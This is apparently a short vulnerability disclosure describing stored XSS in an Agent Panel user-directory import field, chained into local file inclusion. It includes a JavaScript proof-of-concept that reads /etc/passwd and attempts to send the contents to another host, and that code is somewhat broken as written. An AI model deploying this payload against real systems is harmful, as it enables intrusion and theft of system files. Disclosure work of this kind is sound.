There are two different XSS vulnerabilities in the "Import" field on the Agent Panel - User Directory field.
This vulnerability causes a different vulnerability.
The attacker can run the malicious JS file that he uploads in the XSS vulnerability.
Uploaded JS files can be called clear text. Therefore, attackers do not have to use a different server to perform an attack.
Then it is possible to create "Local File Inclusion" vulnerability too.
The attacker can upload a JS file as follows.
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
if(rawFile.readyState === 4)
{
if(rawFile.status === 200 || rawFile.status == 0)
{
var allText = rawFile.responseText;
allText.src = 'http://localhost:8001' + rawFile.responseText;
document.body.appendChild(allText);
}
}
}
rawFile.send(null);
}
readTextFile("/etc/passwd");
By carrying out a similar attack. The XSS vulnerability constitutes the LFI vulnerability.
In order for the attack to take place, the agent manager user must upload the sent ".csv" file.